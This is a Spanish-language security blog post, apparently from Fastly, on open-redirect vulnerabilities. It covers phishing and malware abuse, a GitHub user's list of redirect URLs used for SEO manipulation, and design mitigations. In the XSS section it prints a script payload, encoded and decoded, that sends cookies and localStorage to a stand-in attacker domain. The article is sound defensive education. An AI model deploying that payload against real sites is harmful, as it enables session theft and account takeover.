Redireccionamientos abiertos: abuso y recomendaciones en el mundo real

El redireccionamiento abierto de URL es un problema de seguridad de las aplicaciones web que permite a los atacantes dirigir a los usuarios a recursos maliciosos. Esta clase de vulnerabilidad, también conocida como «redireccionamientos abiertos», surge cuando una aplicación permite a los atacantes transmitir información a la misma, enviando a los usuarios a otra ubicación. Dicha ubicación puede ser un sitio web o un servidor controlado por el atacante que se usa para distribuir malware, engañar a un usuario para que confíe en un enlace, ejecutar código malicioso sin levantar sospechas, realizar un fraude publicitario o incluso llevar a cabo una manipulación de SEO. Saber cómo se puede hacer un uso fraudulento de una redirección abierta es útil, pero es más importante saber cómo se puede diseñar para impedir tal uso.

Uno de los objetivos del equipo de Security Research de Fastly consiste en comprender las tácticas que usan los atacantes para manipular las aplicaciones y cómo se pueden atajar. Los atacantes usarán artimañas ajenas si eso les ayuda a conseguir sus objetivos, por lo que entender ejemplos reales de actividad no deseada, sea cual sea su intención, puede darnos una idea de cómo un atacante podría usar los mismos métodos y herramientas con fines maliciosos. Por eso estábamos muy interesados en encontrar un repositorio de GitHub lleno de redireccionamientos durante una de nuestras investigaciones.

En este artículo, te explicaremos lo que descubrimos, cómo se usan los redireccionamientos, cómo se puede hacer un mal uso de ellos y cómo impedirlo. 

El peligro del redireccionamiento de URL

Desde hace años, a los usuarios finales se les enseña a examinar un enlace antes de hacer clic en él. En los cursos sobre seguridad se suelen dar ejemplos de cómo verificar que el dominio es el previsto antes de hacer clic.

Un ejemplo sencillo es asegurarse de que se está haciendo clic en:

goodexample.com

y no en algo del tipo:

goodexample.com.badexample.com
goodexample-com-badexample.com

Sin embargo, estos consejos no preparan a los usuarios para saber cómo actuar en caso de acceder a un sitio que acepte el redireccionamiento, como por ejemplo:

goodexample.com/redir.php?q=badexample.com

Más bien, al contrario: a los usuarios finales se les ha enseñado de manera explícita a confiar en este ejemplo en particular, aunque al final les redireccione a badexample.com. Esto obliga a los desarrolladores y administradores de cualquier sitio a asegurarse de que su tecnología no puede ser usada para redireccionar al usuario a un sitio no deseado. Si no lo hacen, el redireccionamiento puede afectar de forma negativa a su reputación y perjudicar directamente a sus usuarios.

Pero, ¿qué es exactamente un redireccionamiento abierto?

Los redireccionamientos son un concepto más o menos sencillo. Una aplicación web puede decirle a tu navegador que dirija de forma automática a otro sitio como parte normal de su funcionamiento. Esto es algo que sucede constantemente por razones tan simples como redirigir de la versión HTTP de un sitio a la versión HTTPS encriptada, o cuando los sitios cambian la posición de su punto de conexión de /oldapp a /newapp. Esta operación puede realizarse mediante la respuesta HTTP, en HTML o en JavaScript:

Respuesta HTTP:

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/newapp

HTML:

<meta http-equiv="refresh" 
content="5;URL='https://www.example.com/newapp'"/>

JavaScript:

window.location.href = 'https://www.example.com/newapp'

En estos ejemplos, un usuario que navegara a http://www.example.com/oldapp y recibiera estas respuestas vería que su navegador abre de forma automática la nueva ubicación en https://www.example.com/newapp. A diferencia de estos ejemplos que permanecen en el mismo dominio, un redireccionamiento abierto será involuntario y redirigirá al usuario a un sitio controlado por el atacante.

Un redireccionamiento abierto es aquel en el que la URL redireccionada se puede especificar desde fuera de la aplicación y se puede proporcionar una ubicación arbitraria. Por ejemplo, en la URL goodexample.com/redir.php?q=badexample.com, la aplicación redir.php acepta la cadena de consulta q=badexample.com y redirecciona a badexample.com.

Los redireccionamientos abiertos pueden presentar tres comportamientos:

• Transparente para el usuario. Una respuesta del servidor a través de un redireccionamiento 3xx siempre va a encajar en esta categoría, y HTML/JavaScript también puede, dependiendo de la implementación.

• Retrasado, pero sin requerir interacción del usuario. En el ejemplo HTML anterior, el número 5 representa un retraso de 5 segundos antes de redireccionar de forma automática. Esto permite que una página advierta al usuario de lo que está a punto de ocurrir, pero igualmente ocurre de forma automática.

• Exigencia de interacción por parte del usuario. En esta categoría entraría una página que no redirecciona de ninguna manera sin que el usuario haga clic en algo. De esta forma, es mucho más difícil abusar de la confianza y es una implementación de mucho menos riesgo cuando se combina con una advertencia sobre lo que el usuario está a punto de hacer.

Abuso malicioso del redireccionamiento

Los ejemplos más simples de abuso de redireccionamiento de URL son la suplantación de identidad y la distribución de malware, aunque también son posibles las secuencias de comandos entre sitios (XSS) mediante redireccionamientos.

Suplantación de identidad

El mecanismo más habitual por el que los atacantes distribuyen enlaces maliciosos es el correo electrónico, ya que permite presentar un señuelo. Los señuelos son el texto del correo electrónico, que proporciona un contexto y una llamada a la acción usada por un atacante para convencer a su víctima de que haga clic en un enlace.

Algunos de los tipos de señuelos más frecuentes crean una sensación de urgencia relacionada con un fraude financiero, mientras que otros atraen la atención del receptor con información nueva sobre un acontecimiento de actualidad. Cualquier cosa que al usuario final le parezca natural o urgente puede provocar que abra un enlace.

Los atacantes pueden suplantar identidades recreando el aspecto de un sitio de confianza en una ubicación maliciosa y esperando a que el usuario intente iniciar sesión. Por ejemplo, un atacante podría alojar una imitación del sitio web de un banco en un dominio que controla. A continuación, el atacante podría diseñar una URL usando redireccionamientos abiertos en el sitio del banco para redirigir al usuario al sitio malicioso:

https://goodbank.example.com/external-link.jspa?
url=https%3A%2F%2Fphishingexample.com/goodbankfrauddept

En este ejemplo, el atacante está abusando de goodbank.example.com para redireccionar a phishingexample.com/goodbankfrauddept, controlado por él mismo.

Malware

La distribución de malware a través de redireccionamientos abiertos es muy similar a la suplantación de identidad; la única diferencia es que el destino final es un archivo malicioso en lugar de una página impostora:

https://goodhealthsite.example.com/exit.asp?
url=https%3A%2F%2Fmalwareexample.com/currentevent.pdf

En este caso, goodhealthsite.example.com tiene un redireccionamiento abierto que hace que el usuario descargue el archivo malicioso de malwareexample.com/currentevent.pdf.

XSS

Los atacantes también pueden abusar de la confianza inherente del navegador en el código procedente de la URL de origen. Se puede enviar JavaScript como destino del redireccionamiento, lo que hace que el navegador ejecute el código cuando lo devuelve al usuario. Este tipo de ataque se denomina XSS reflejado, ya que el navegador envía el código a la aplicación y a continuación se refleja en el navegador del usuario. En este tipo de ataque, el navegador ejecuta el código en el contexto del sitio web, permitiendo que el ataque ejecute código malicioso o incluso robe datos almacenados a nivel local en el navegador.

https://example.com/proxy.php?
link=%3Cscript%3Eimage%20%3D%20new%20Image%28%29%3B%20image.src%3D%22https%3A%
2F%2Fcollectionexample.com%2F%3Fc%3D%22%2Bdocument.cookie%2B%22ls%3D%22%2BJSON.st
ringify%28localStorage%29%3B%3C%2Fscript%3E

A continuación, vemos también una versión decodificada de la URL:

https://example.com/proxy.php?link=<script>image = new Image(); 
image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);
</script>

En este ejemplo, el navegador del usuario aceptará todas las cookies disponibles y la información almacenada a nivel local sobre example.com y la enviará al dominio controlado por el atacante, collectionexample.com.

Es importante tener en cuenta que los navegadores modernos no aceptan el controlador del protocolo JavaScript en el campo «Location» del encabezado. Esto significa que, si se usa el método de redireccionamiento de respuesta HTTP y se envía JavaScript, el navegador no lo ejecutará. Así pues, para que el ejemplo de XSS anterior tenga éxito, la URL tendría que reflejarse en otra parte de la página. Sin embargo, muchas implementaciones de redireccionamiento muestran al usuario a dónde se le va a redirigir antes de hacerlo realmente, lo que significa que el redireccionamiento se producirá en HTML o JavaScript, permitiendo así que se produzca justo este ataque en dichas páginas.

Uso activo del redireccionamiento

Siempre tratamos de entender el uso activo de estas técnicas, y un reciente análisis de datos nos llevó a un usuario muy interesante de GitHub que ya no está activo (https://github.com/sonalimandloi/).

Los archivos que este usuario tenía almacenados en sus repositorios suponían más de 18 000 filas de URL cuyo objetivo parecía ser el de abusar de los redireccionamientos abiertos. No obstante, estas URL se dividían en un número relativamente pequeño de grupos.

• El 87 % de las URL contenía una cadena de consulta que intentaba abusar de los redireccionamientos abiertos para dirigir las peticiones hacia 13 dominios.

• El 12 % eran enlaces a otros sitios donde se habían creado cuentas de usuario con enlaces de vuelta a la lista de dominios anterior. Los nombres de usuario creados coincidían en todos los sitios.

• Menos del 1 % eran acortadores de URL o enlaces a entradas directas de blog que también enlazaban de vuelta a los dominios mencionados.

¿Qué intenta hacer?

Para determinar el valor de un sitio web, el criterio más habitual es el número de enlaces o accesos a él. La puntuación resultante sirve de guía a los motores de búsqueda, el valor publicitario o incluso el valor de un dominio en caso de venta. Aunque el objetivo final de este usuario en concreto no está claro, es evidente que intentaba aumentar la visibilidad y el valor de los sitios y que los redireccionamientos abiertos formaban parte de su método para lograrlo.

Redireccionamiento de URL

El comportamiento de este usuario pone encima de la mesa una perspectiva útil sobre el abuso que está sufriendo un gran número de redireccionamientos, lo que puede ayudarnos a comprender mejor cómo localizarlos. Al fin y al cabo, su potencial de manipulación de SEO es intrigante, pero mucho menos útil para nuestros fines de seguridad.

Los datos de origen que hemos revisado contienen más de 3000 redireccionamientos únicos listados en los archivos. Muchos de ellos parecen exigir que el usuario haga clic (lo que demuestra que la manipulación puede no haber requerido un redireccionamiento transparente), y otros muchos ya no funcionan. Sin embargo, al menos nueve meses después de haber sido enumeradas, 23 de las URL de redireccionamiento abierto únicas listadas siguen proporcionando un redireccionamiento de URL completo.

Para poder destapar más de estas URL, sus estructuras pueden indicarnos cómo buscarlas. Los diez redireccionamientos más observados son:

La buena noticia es que algunos de estos redireccionamientos son cosas que un equipo de seguridad típico buscaría. Términos de punto de conexión como url, external-link, proxy, redir, page y exit son, todos ellos, elementos que vale la pena evaluar para asegurarse de que no es posible redireccionar desde una ubicación externa. Es muy recomendable que busques en tu propio entorno estos tipos de puntos de conexión y los pruebes para ver si hay redireccionamientos abiertos. Puedes realizar las pruebas insertando URL, codificadas y decodificadas, dentro de cualquier aplicación que ofrezca la posibilidad de redireccionar a los usuarios a otra ubicación.

Sin embargo, hay puntos de conexión a lo largo de la lista que no destacan como inconvenientes, pero sus nombres de argumentos de consulta suponen una oportunidad más para enumerar posibles problemas. Argumentos como url, link, goto, gotoURL y outLink ofrecen posibilidades muy útiles para identificar posibles redireccionamientos abiertos a partir de una aplicación que se ejecuta en tu entorno.

Cómo evitar el abuso

Ahora que ya sabemos cómo se puede abusar de las aplicaciones y las formas que suelen tomar estos usos indebidos, es el momento de analizar cómo diseñarlas para evitarlo desde un principio. La pregunta clave que conviene hacerse durante la fase de diseño de un proyecto es: ¿realmente necesitamos proporcionar un redireccionamiento? Si bien existen razones válidas para que una aplicación desee efectuar un seguimiento de los enlaces salientes, hay que tener en cuenta ciertas cuestiones de diseño adicionales para evitar que se produzcan abusos. Tu organización debería plantearse si el esfuerzo merece la pena o si es mejor prescindir por completo de redireccionamientos. 

Si, de todas formas, tu organización decide implementar redireccionamientos, la mitigación óptima consiste en prescindir de la interacción del usuario. Si el redireccionamiento solo se realiza cuando la aplicación lo requiere, se eliminará la considerable superficie de ataque que supone la interacción del usuario. Si la aplicación no permite prescindir de dicha interacción, contar con una lista predefinida de URL para cotejar puede eliminar la posibilidad de que se inserten destinos maliciosos arbitrarios.

Si se necesita un redireccionamiento basado en la interacción del usuario, es recomendable limitar los esquemas que se puedan usar en el redireccionamiento. Restringir la interacción a URL con http o https, por ejemplo, puede ayudar a limitar los riesgos de JavaScript que se han mencionado.

Muchos de los redireccionamientos observados no efectúan una redirección a menos que el usuario haga clic en un enlace o pulse un botón dentro de la página. A menudo se presenta al usuario una advertencia visual en la que se le explica el riesgo que corre al seguir adelante. Por desgracia, todos sabemos que los usuarios no suelen prestar atención cuando tienen prisa (y a algunos estos avisos les pueden resultar confusos), así que, aunque estos mensajes de advertencia pueden influir en el comportamiento del usuario, recomendamos abordar el diseño del software siguiendo las recomendaciones anteriores. Para obtener más información sobre el tema, puedes echar un vistazo a la guía de OWASP sobre redireccionamientos abiertos.

Con vistas al futuro

Hemos informado a GitHub de este repositorio de redireccionamientos abiertos, así como a todos los propietarios de URL vulnerables a los redireccionamientos abiertos que todavía están en funcionamiento. Sin embargo, sabemos que la lista de puntos finales de este usuario en concreto no representa la totalidad de lo que hay. 

Os recomendamos que penséis con detenimiento cómo identificar y proteger contra el abuso de los redireccionamientos abiertos en vuestros propios entornos, y que utilicéis esta información para ayudar a vuestros equipos de desarrollo y seguridad a evaluar la mejor manera de implementar este tipo de funciones en vuestro entorno.

Si quieres saber más sobre cómo Fastly puede ayudarte con tus necesidades de seguridad, visita /products/cloud-security.